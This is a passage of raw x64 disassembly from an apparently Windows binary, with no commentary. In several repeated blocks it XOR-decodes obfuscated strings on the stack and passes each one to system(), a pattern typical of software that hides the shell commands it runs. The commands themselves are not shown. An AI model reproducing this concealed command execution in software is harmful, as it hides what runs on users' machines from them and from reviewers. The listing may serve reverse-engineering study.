shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x140008490
cmp r8d, 0x8c
jge 0x1400085e3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8c
jl 0x1400085b0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a37d0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a37e0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a37f0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400a3800]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [str.ERY3___k1j___h_t]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a3820]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a3830]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a3840]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1400a3850]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x1400a3860]
mov dword [rbp - 0x40], eax
movzx eax, word [0x1400a3864]
mov word [rbp - 0x3c], ax
xor r8d, r8d
cmp ebx, 2
jl 0x1400087b9
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x1400086b0
cmp r8d, 0x96
jge 0x140008803
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x1400087d0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5980]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a5990]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a59a0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400a59b0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400a59c0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a59d0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a59e0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a59f0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1400a5a00]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x1400a5a10]
mov dword [rbp - 0x40], eax
movzx eax, word [0x1400a5a14]
mov word [rbp - 0x3c], ax
xor r8d, r8d
cmp ebx, 2
jl 0x1400089d9
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x1400088d0
cmp r8d, 0x96
jge 0x140008a23
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x1400089f0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a6580]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a6590]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a65a0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [str.T_f_t_f]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400a65c0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a65d0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a65e0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a65f0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1400a6600]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x1400a6610]
mov dword [rbp - 0x40], eax
movzx eax, word [0x1400a6614]
mov word [rbp - 0x3c], ax
xor r8d, r8d
cmp ebx, 2
jl 0x140008bf9
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140008af0
cmp r8d, 0x96
jge 0x140008c43
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x140008c10
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a50b0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a50c0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a50d0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400a50e0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400a50f0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a5100]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a5110]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a5120]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1400a5130]
movups xmmword [rbp - 0x50], xmm0
movzx eax, word [0x1400a5140]
mov word [rbp - 0x40], ax
xor r8d, r8d
cmp ebx, 2
jl 0x140008e19
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140008d10
cmp r8d, 0x92
jge 0x140008e63
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x92
jl 0x140008e30
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a4930]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a4940]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a4950]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400a4960]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400a4970]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a4980]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a4990]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a49a0]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [str.yd__9nq___S]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x1400a49b8]
mov dword [rbp - 0x48], eax
xor r8d, r8d
cmp ebx, 2
jl 0x140009039
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x140008f30
cmp r8d, 0x8c
jge 0x140009083
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8c
jl 0x140009050
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a6250]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a6260]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a6270]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400a6280]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400a6290]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a62a0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a62b0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a62c0]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x1400a62d0]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x1400a62d8]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x1400a62dc]
mov byte [rbp - 0x44], al
xor r8d, r8d
cmp ebx, 2
jl 0x140009259
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x140009150
cmp r8d, 0x8d
jge 0x1400092a3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8d
jl 0x140009270
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5730]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a5740]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a5750]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400a5760]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400a5770]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a5780]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a5790]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a57a0]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x1400a57b0]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x1400a57b8]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x1400a57bc]
mov byte [rbp - 0x44], al
xor r8d, r8d
cmp ebx, 2
jl 0x140009479
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x140009370
cmp r8d, 0x8d
jge 0x1400094c3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8d
jl 0x140009490
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5020]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a5030]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a5040]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400a5050]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400a5060]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a5070]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a5080]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a5090]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x1400a50a0]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x1400a50a8]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x1400a50ac]
mov byte [rbp - 0x44], al
xor r8d, r8d
cmp ebx, 2
jl 0x140009699
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x140009590
cmp r8d, 0x8d
jge 0x1400096e3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8d
jl 0x1400096b0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a3060]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a3070]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a3080]
movups xmmword [rsp + 0x50], xmm0
